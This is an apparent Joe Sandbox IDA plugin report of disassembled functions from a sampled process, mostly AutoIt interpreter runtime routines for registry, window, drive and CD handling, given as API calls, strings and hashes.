
Strings

REG_EXPAND_SZ, xrefs: 00ECC5CD
REG_MULTI_SZ, xrefs: 00ECC6F5
REG_BINARY, xrefs: 00ECC913
REG_QWORD, xrefs: 00ECC8C3
REG_DWORD, xrefs: 00ECC804
REG_SZ, xrefs: 00ECC644

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: 257599cc8210f3db3f5cbd79b62efab06609d011528b9fcd8ebbd6248926d4c6
Instruction ID: d19c3d68e5046ad5af4452db1188b4be7f871359e62b27b8531d50cdd2cce932
Opcode Fuzzy Hash: 257599cc8210f3db3f5cbd79b62efab06609d011528b9fcd8ebbd6248926d4c6
Instruction Fuzzy Hash: 421258756042019FDB14DF14D981F2AB7E5EF88714F14985DF88AAB2A2DB35FC42CB81

Function 00ED091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00ED09C6
_wcslen.LIBCMT ref: 00ED0A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00ED0A54
_wcslen.LIBCMT ref: 00ED0A8A
_wcslen.LIBCMT ref: 00ED0B06
_wcslen.LIBCMT ref: 00ED0B81

Part of subcall function 00E5F9F2: _wcslen.LIBCMT ref: 00E5F9FD

Part of subcall function 00EA2BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00EA2BFA

Strings

EXPAND, xrefs: 00ED0BF8
SELECT, xrefs: 00ED0D11
GETSELECTED, xrefs: 00ED0C4E
ISCHECKED, xrefs: 00ED0CE1
EXISTS, xrefs: 00ED0B7C, 00ED0B97
GETTOTALCOUNT, xrefs: 00ED09F2, 00ED0A17
GETTEXT, xrefs: 00ED0C97
UNCHECK, xrefs: 00ED0D3E
COLLAPSE, xrefs: 00ED0B01, 00ED0B1C
CHECK, xrefs: 00ED0A85, 00ED0AA0
GETITEMCOUNT, xrefs: 00ED0C1E

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: 322b61fa44fd1eb41f2c29b5514e0b887b756f3fdc3d3aa6bc557a8a5a56c23d
Instruction ID: 59977e36a3b3fb5cc884f906914e8222ba72c78ddf761ae62fc1f5816673bdd2
Opcode Fuzzy Hash: 322b61fa44fd1eb41f2c29b5514e0b887b756f3fdc3d3aa6bc557a8a5a56c23d
Instruction Fuzzy Hash: DDE15C316087019FC714DF24C450A6AB7E2FF98318F18595EF8966B3A2D731ED46DB81

Function 00ECC998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00ECB6AE,?,?), ref: 00ECC9B5
_wcslen.LIBCMT ref: 00ECC9F1
_wcslen.LIBCMT ref: 00ECCA68
_wcslen.LIBCMT ref: 00ECCA9E
_wcslen.LIBCMT ref: 00ECCAF9
_wcslen.LIBCMT ref: 00ECCB2F
_wcslen.LIBCMT ref: 00ECCB7F

Strings

HKU, xrefs: 00ECCBF0
HKCC, xrefs: 00ECCBAC
HKLM, xrefs: 00ECCA98, 00ECCA9D
HKEY_CURRENT_USER, xrefs: 00ECCBBD
HKEY_LOCAL_MACHINE, xrefs: 00ECCA62, 00ECCA67
HKEY_USERS, xrefs: 00ECCBDF
HKCU, xrefs: 00ECCBCE
HKEY_CLASSES_ROOT, xrefs: 00ECCAF3, 00ECCAF8
HKEY_CURRENT_CONFIG, xrefs: 00ECCB79, 00ECCB7E
HKCR, xrefs: 00ECCB29, 00ECCB2E

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 3a31276eab0cf72c76dda2a4f92c78e69c1d00d5436ed6bf87cbc5fea8913ee1
Instruction ID: 1f6345e48e902dd0a2c0449419dd776b1305353a85f2916a2679c3acba92258d
Opcode Fuzzy Hash: 3a31276eab0cf72c76dda2a4f92c78e69c1d00d5436ed6bf87cbc5fea8913ee1
Instruction Fuzzy Hash: 3571EA32A0052A8BCB10DE7CDA41FBB73919BA4758B35252CFC5EB7285E632DD46D350

Function 00ED833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00ED835A
_wcslen.LIBCMT ref: 00ED836E
_wcslen.LIBCMT ref: 00ED8391
_wcslen.LIBCMT ref: 00ED83B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00ED83F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00ED5BF2), ref: 00ED844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00ED8487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00ED84CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00ED8501
FreeLibrary.KERNEL32(?), ref: 00ED850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00ED851D
DestroyIcon.USER32(?,?,?,?,?,00ED5BF2), ref: 00ED852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00ED8549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00ED8555

Strings

.icl, xrefs: 00ED8368
.dll, xrefs: 00ED83AB
.exe, xrefs: 00ED8388

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 4db1fb0400f97f3093d8ea484c7ccd6c2d8cfbb42ba5bee7f5ee0f8e2bd59adc
Instruction ID: 556a943fe3b21afc1117bc1a1e963ad7e1c92e7f77b652010cc43b7539b83df5
Opcode Fuzzy Hash: 4db1fb0400f97f3093d8ea484c7ccd6c2d8cfbb42ba5bee7f5ee0f8e2bd59adc
Instruction Fuzzy Hash: 29610171940216BEEB14DF64ED41BBF77A8FB04B51F10560AF815F62D0DB74A981C7A0

Function 00E47778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

', xrefs: 00E85169
Cannot parse #include, xrefs: 00E85279
Unterminated group of comments, xrefs: 00E8528C
#comments-start, xrefs: 00E4785F, 00E478B1
#pragma compile, xrefs: 00E477D3
#cs, xrefs: 00E47873, 00E478C5
#ce, xrefs: 00E478ED
#OnAutoItStartRegister, xrefs: 00E47817
Bad directive syntax error, xrefs: 00E8519A
#comments-end, xrefs: 00E478D9
#notrayicon, xrefs: 00E477E7
", xrefs: 00E85153
#include-once, xrefs: 00E4782F
#include, xrefs: 00E47847
#requireadmin, xrefs: 00E477FF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 91a1e57bb0d53c115e29a6b3878120dbc59107207662743271f3de4d8d1e01a1
Instruction ID: 35380326381e831f8450b4f25175fd647433452b2d318bee3166df6c9ebf3f1e
Opcode Fuzzy Hash: 91a1e57bb0d53c115e29a6b3878120dbc59107207662743271f3de4d8d1e01a1
Instruction Fuzzy Hash: CD811471A40605BBDB20AF60EC46FAE77A8EF14340F006426F949BA292EF71D911C7D1

Function 00EB3E79 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00EB3EF8
_wcslen.LIBCMT ref: 00EB3F03
_wcslen.LIBCMT ref: 00EB3F5A
_wcslen.LIBCMT ref: 00EB3F98
GetDriveTypeW.KERNEL32(?), ref: 00EB3FD6
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00EB401E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00EB4059
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00EB4087

Strings

set cd door , xrefs: 00EB4028
close, xrefs: 00EB3EFE, 00EB3F18
closed, xrefs: 00EB3F08, 00EB3F2D, 00EB3F46, 00EB3F7E, 00EB3F97
close cd wait, xrefs: 00EB4072
open , xrefs: 00EB3FE5
open, xrefs: 00EB3F54, 00EB3F59
wait, xrefs: 00EB4044
type cdaudio alias cd wait, xrefs: 00EB4001

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: 5e8d943e75a26f0cc183160a9b490d223f1991654b52991d170bc694528945b5
Instruction ID: 00e39425e9d7342ab6ecac960cbac45fe1e18ed59e5c3ae631c7ea30f12e09e5
Opcode Fuzzy Hash: 5e8d943e75a26f0cc183160a9b490d223f1991654b52991d170bc694528945b5
Instruction Fuzzy Hash: 7B71D271A042129FC310EF34D8818ABB7F4EF94758F10592DF995A7292EB31ED45CB92

Function 00EA5A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00EA5A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00EA5A40
SetWindowTextW.USER32(?,?), ref: 00EA5A57
GetDlgItem.USER32(?,000003EA), ref: 00EA5A6C
SetWindowTextW.USER32(00000000,?), ref: 00EA5A72
GetDlgItem.USER32(?,000003E9), ref: 00EA5A82
SetWindowTextW.USER32(00000000,?), ref: 00EA5A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00EA5AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00EA5AC3
GetWindowRect.USER32(?,?), ref: 00EA5ACC
_wcslen.LIBCMT ref: 00EA5B33
SetWindowTextW.USER32(?,?), ref: 00EA5B6F
GetDesktopWindow.USER32 ref: 00EA5B75
GetWindowRect.USER32(00000000), ref: 00EA5B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00EA5BD3
GetClientRect.USER32(?,?), ref: 00EA5BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00EA5C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00EA5C2F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: 37967337e00b6ad85399e146e7dc868ce6400c0fd4516819e6ea086952a6141b
Instruction ID: d5a49b9c2243cad6ee555788137c7efecbb871d2d7ca1f1d6c92504dd7213151
Opcode Fuzzy Hash: 37967337e00b6ad85399e146e7dc868ce6400c0fd4516819e6ea086952a6141b
Instruction Fuzzy Hash: AB718F32A00B09AFDB20DFA9CE45AAEBBF5FF48705F105519E152B65A0D774F904CB20

Function 00EBFE0E Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00EBFE27
LoadCursorW.USER32(00000000,00007F8A), ref: 00EBFE32
LoadCursorW.USER32(00000000,00007F00), ref: 00EBFE3D
LoadCursorW.USER32(00000000,00007F03), ref: 00EBFE48
LoadCursorW.USER32(00000000,00007F8B), ref: 00EBFE53
LoadCursorW.USER32(00000000,00007F01), ref: 00EBFE5E
LoadCursorW.USER32(00000000,00007F81), ref: 00EBFE69
LoadCursorW.USER32(00000000,00007F88), ref: 00EBFE74
LoadCursorW.USER32(00000000,00007F80), ref: 00EBFE7F
LoadCursorW.USER32(00000000,00007F86), ref: 00EBFE8A
LoadCursorW.USER32(00000000,00007F83), ref: 00EBFE95
LoadCursorW.USER32(00000000,00007F85), ref: 00EBFEA0
LoadCursorW.USER32(00000000,00007F82), ref: 00EBFEAB
LoadCursorW.USER32(00000000,00007F84), ref: 00EBFEB6
LoadCursorW.USER32(00000000,00007F04), ref: 00EBFEC1
LoadCursorW.USER32(00000000,00007F02), ref: 00EBFECC
GetCursorInfo.USER32(?), ref: 00EBFEDC
GetLastError.KERNEL32 ref: 00EBFF1E

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: e0e9008c97eb65a0a315d0579e7e3f9520d83c3d2be3caec7262159d270246d3
Instruction ID: b29a9e28769719299e68671fae57a3b997fb45f30db6980a55ac2dbcd2fb1eab
Opcode Fuzzy Hash: e0e9008c97eb65a0a315d0579e7e3f9520d83c3d2be3caec7262159d270246d3
Instruction Fuzzy Hash: C34152B0E053196ADB109FBA9C8986EBFE8FF04754B50452AE11DE7281DB78E901CE91

Function 00E600C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00E600C6

Part of subcall function 00E600ED: InitializeCriticalSectionAndSpinCount.KERNEL32(00F1070C,00000FA0,95C588BD,?,?,?,?,00E823B3,000000FF), ref: 00E6011C
Part of subcall function 00E600ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00E823B3,000000FF), ref: 00E60127
Part of subcall function 00E600ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00E823B3,000000FF), ref: 00E60138
Part of subcall function 00E600ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00E6014E
Part of subcall function 00E600ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00E6015C
Part of subcall function 00E600ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00E6016A
Part of subcall function 00E600ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00E60195
Part of subcall function 00E600ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00E601A0

___scrt_fastfail.LIBCMT ref: 00E600E7

Part of subcall function 00E600A3: __onexit.LIBCMT ref: 00E600A9

Strings

WakeAllConditionVariable, xrefs: 00E60162
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00E60122
InitializeConditionVariable, xrefs: 00E60148
kernel32.dll, xrefs: 00E60133
SleepConditionVariableCS, xrefs: 00E60154

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: a7645e602b5c32d63f77dcf0cb2204b227bd1783a8071797e39ed93401b418ba
Instruction ID: 3e7d46bf459501383869cd68b77511736f2309d770a671cf2e9054a1c1f2cc77
Opcode Fuzzy Hash: a7645e602b5c32d63f77dcf0cb2204b227bd1783a8071797e39ed93401b418ba
Instruction Fuzzy Hash: 2121F9326867266FD7105BA5BC06B6B33E5DB06BE1F10552BF902F32D1DFA09804CA91

Function 00EA30F7 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EA318D
_wcslen.LIBCMT ref: 00EA31F8

Strings

INSTANCE, xrefs: 00EA3453
CLASSNN, xrefs: 00EA31F3, 00EA3204
TEXT, xrefs: 00EA347C
NAME, xrefs: 00EA3335, 00EA3346
REGEXPCLASS, xrefs: 00EA3255, 00EA3266
CLASS, xrefs: 00EA3188, 00EA31A5

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: 349e6b88fbb4a2462886f3a671c6634c9a5a465f506f4ee1a77295b9269de164
Instruction ID: c0234be5378886f56790b59e41c73248ef3c9f871bc5a810344fa9b7e6e263bf
Opcode Fuzzy Hash: 349e6b88fbb4a2462886f3a671c6634c9a5a465f506f4ee1a77295b9269de164
Instruction Fuzzy Hash: 4FE1E431A005169BCB189FB8C4517EEFBB0BF5E754F14A119F466BB240DB30BE899B90

Function 00EB44C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,00EDCC08), ref: 00EB4527
_wcslen.LIBCMT ref: 00EB453B
_wcslen.LIBCMT ref: 00EB4599
_wcslen.LIBCMT ref: 00EB45F4
_wcslen.LIBCMT ref: 00EB463F
_wcslen.LIBCMT ref: 00EB46A7

Part of subcall function 00E5F9F2: _wcslen.LIBCMT ref: 00E5F9FD

GetDriveTypeW.KERNEL32(?,00F06BF0,00000061), ref: 00EB4743

Strings

unknown, xrefs: 00EB4708
all, xrefs: 00EB4531, 00EB4536
ramdisk, xrefs: 00EB46F1
network, xrefs: 00EB469D, 00EB46A2
fixed, xrefs: 00EB4635, 00EB463A
cdrom, xrefs: 00EB458F, 00EB4594
removable, xrefs: 00EB45EA, 00EB45EF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 9279262e0fd6c007970a37ecfd89a055c6e3e4dff292c85e71ef11102b56c231
Instruction ID: 55f69feb1f740363d48bc1a0a36ea8ab85d7af3c303d7d6969fe606b4a92affb
Opcode Fuzzy Hash: 9279262e0fd6c007970a37ecfd89a055c6e3e4dff292c85e71ef11102b56c231
Instruction Fuzzy Hash: 9CB112B16083029FC710DF28D890AABB7E5AFA5764F50691DF496E72D2DB30D844CB92

Function 00EC3FE9 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00EDCC08), ref: 00EC40BB
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00EC40CD
GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,00EDCC08), ref: 00EC40F2
FreeLibrary.KERNEL32(00000000,?,00EDCC08), ref: 00EC413E
StringFromGUID2.OLE32(?,?,00000028,?,00EDCC08), ref: 00EC41A8
SysFreeString.OLEAUT32(00000009), ref: 00EC4262
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00EC42C8
SysFreeString.OLEAUT32(?), ref: 00EC42F2

Strings

GetModuleHandleExW, xrefs: 00EC40C7
kernel32.dll, xrefs: 00EC40B6

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 354098117-199464113
Opcode ID: 22f43ac5a12cd3a1b3b3199ab6afb6ab910d9a6a85baa618e68953da5dc23623
Instruction ID: 2b7ab5c10520ee3fbf9a1bd894b1bcdbf729e91b122d3f1403002f1ffd4b72a4
Opcode Fuzzy Hash: 22f43ac5a12cd3a1b3b3199ab6afb6ab910d9a6a85baa618e68953da5dc23623
Instruction Fuzzy Hash: 3B125BB5A00105EFDB14DF54C994FAEB7B5FF84318F249098E915AB291C732ED46CBA0

Function 00E4326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00F11990), ref: 00E82F8D
GetMenuItemCount.USER32(00F11990), ref: 00E8303D
GetCursorPos.USER32(?), ref: 00E83081
SetForegroundWindow.USER32(00000000), ref: 00E8308A
TrackPopupMenuEx.USER32(00F11990,00000000,?,00000000,00000000,00000000), ref: 00E8309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00E830A9

Strings

0, xrefs: 00E4327D

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
